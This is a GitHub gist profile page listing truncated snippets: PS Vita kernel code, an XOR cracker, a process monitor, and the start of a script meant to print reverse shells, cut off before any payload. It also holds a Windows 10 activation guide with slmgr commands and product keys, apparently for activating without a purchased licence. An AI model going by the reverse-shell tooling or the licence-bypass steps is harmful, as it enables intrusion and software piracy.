Skip to content

Instantly share code, notes, and snippets.

View deltaclock's full-sized avatar

Nick deltaclock

View GitHub Profile
@deltaclock
deltaclock / UART.c
Last active October 8, 2017 10:26
PSvita UART Credit : Xerpi
#include <psp2kern/kernel/cpu.h>
#include <psp2kern/kernel/modulemgr.h>
#include <psp2kern/kernel/threadmgr.h>
#include <psp2kern/kernel/sysmem.h>
static SceUID thid = -1;
static volatile int run = 1;
extern int ksceUartReadAvailable(int device);
extern int ksceUartWrite(int device, unsigned char data);
@deltaclock
deltaclock / shell.sh
Created April 1, 2018 21:39
Quickly print various reverse shells.
#!/bin/bash
shellType=$1
port=$2
ip=$(ip a show tun0 2>/dev/null| grep -oPm1 '(([\d.]).*)\/')
if [[ $? != 0 ]]; then
echo "No vpn.."
exit
fi
if [[ $shellType == "bash" ]]; then
#ifndef CHAIN_NODE_HPP
#define CHAIN_NODE_HPP
#include <iostream>
template <class T> class Chain;
template <class T> class ChainNode {
friend Chain<T>;
private:
## 1. Start this script running in PowerShell
## 2. Close your laptop lid. The next time the lid opens, the script will send a mail.
$lastAwake = Get-Date; while($true) {
Start-Sleep -Seconds 1
$now = Get-Date
if(($now - $lastAwake).TotalSeconds -gt 3) {
$params = @{
To = 'user@example.com'
From = 'user@example.com'
#!/bin/bash
IFS=$'\n'
old_pr=$(ps -eo command)
while true; do
new_pr=$(ps -eo command)
diff <(echo "$old_pr") <(echo "$new_pr") | grep [\<\>]
sleep 1
#!/bin/bash
shellType=$1
port=$2
ip=$(ip a show tun0 2>/dev/null| grep -oPm1 '(([\d.]).*)\/')
ip=${ip::-1}
if [[ $? != 0 ]]; then
echo "No vpn idiot.."
exit
fi
#!/usr/bin/env python
frequencies = {'a': 0.0651738, 'b': 0.0124248, 'c': 0.0217339, 'd': 0.0349835, 'e': 0.1041442, 'f': 0.0197881, 'g': 0.0158610, 'h': 0.0492888, 'i': 0.0558094, 'j': 0.0009033, 'k': 0.0050529, 'l': 0.0331490, 'm': 0.0202124,
'n': 0.0564513, 'o': 0.0596302, 'p': 0.0137645, 'q': 0.0008606, 'r': 0.0497563, 's': 0.0515760, 't': 0.0729357, 'u': 0.0225134, 'v': 0.0082903, 'w': 0.0171272, 'x': 0.0013692, 'y': 0.0145984, 'z': 0.0007836, ' ': 0.1918182}
def single_byte_xor(b, s):
""" Performs XOR of the single byte against every character in string. """
assert len(b) == 1
x = ord(b)

Keybase proof

I hereby claim:

  • I am deltaclock on github.
  • I am deltaclock (https://keybase.io/deltaclock) on keybase.
  • I have a public key ASAET_tdk_aaIO7AM6R8vM9_pQBzZsPdEt9QbEdxyqXK1wo

To claim this, I am signing this object:

@deltaclock
deltaclock / windows10activation
Created October 21, 2018 13:50 — forked from amanjuman/windows10activation
Activate Windows 10 without Any Activator
1. Open CMD as Administrator
2. Paste the following commands into the Cmd: One by one, follow the order.
cscript slmgr.vbs /ipk "SERIAL NUMBER HERE"
Replace SERIAL NUMBER HER with any of these, according your Windows 10 installation type.
Home/Core TX9XD-98N7V-6WMQ6-BX7FG-H8Q99
Home/Core (Country Specific) PVMJN-6DFY6-9CCP6-7BKTT-D3WVR
Home/Core (Single Language) 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH
$run = "calc.exe"
start-process $run